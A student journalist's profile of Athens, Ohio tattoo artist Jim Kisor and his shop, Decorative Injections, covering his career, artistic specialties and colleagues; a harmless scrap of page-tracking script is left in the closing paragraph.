Meet Jim Kisor: A longstanding Athens tattoo artist

The late 1990s and early 2000s was a transitional time period, and the city of Athens was not exempt to the changing times.

In 1999,  Decorative Injections Tattoo shop, 44 N. Court St. in Athens, was coming under new ownership. With his wife by his side, Jim Kisor acquired the tattoo shop, and it changed his life forever.

Jim Kisor sets up work area in preparation for client.
Jim Kisor sets up work area in preparation for client.

Having grown up just 15 minutes outside of Athens, Kisor began tattooing fresh out of high school when he saw higher quality tattoos on friends and associates.

“I started to remain close and involved to the art scene, and now it’s become an income source that supports my family,” Kisor said.

As a husband and father of three, Kisor enjoys movies, video games, hiking, camping and attending concerts with friends. Despite being a family man, Kisor spends most of his time serving the Athens ink culture.

Tattooing now for more than 15 years, Kisor describes his job as difficult yet rewarding.

“It’s difficult because you’re not always into the work you have to do,” Kisor said.

Kisor, who says his expertise lies in realism, superheroes and portraits of comic book characters, doesn’t always get to fulfill those passions operating in a small town.

“I try and take in what people have brought in as ground work, and then produce quality work that appeases the tattoo world and the client,” said Kisor.

Despite the lack of opportunity, Kisor said he uses every tattoo as a chance to showcase his originality.

“I try to search and reference pictures online, or just draw something out,” he said. “More importantly I try to bring a uniqueness to every tattoo. With sites like Pinterest, you don’t really want to tattoo the same thing over and over again.”

As a business, Decorative Injections is host to three artists, including Kisor, and a piercer. Tattoo artist Aaron Creamer joined the Decorative Injections team in 2006 as an apprentice. Since then, he has become a popular artist in the shop. Also part of the team is artist Eric Pierce and piercer Tricia McCulloch.

As a seasoned tattoo artist, Kisor said it’s important for tattoo artists to maintain confidence in their work and not compare their successes.

“It’s critical to stay in your own lane because it’s easy to get discouraged,” said Kisor.

Want to learn more about the ink culture? Check out my story on tattoo statistics.  Lastly, don’t forget to follow us on social media at @ATNunearthed and stay up to date with the Athens Unearthed by following our development blogs.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Kierra Cotton
Kierra is a senior journalism student at Ohio University. In her free time, she enjoys reading, reality TV, and Youtube.

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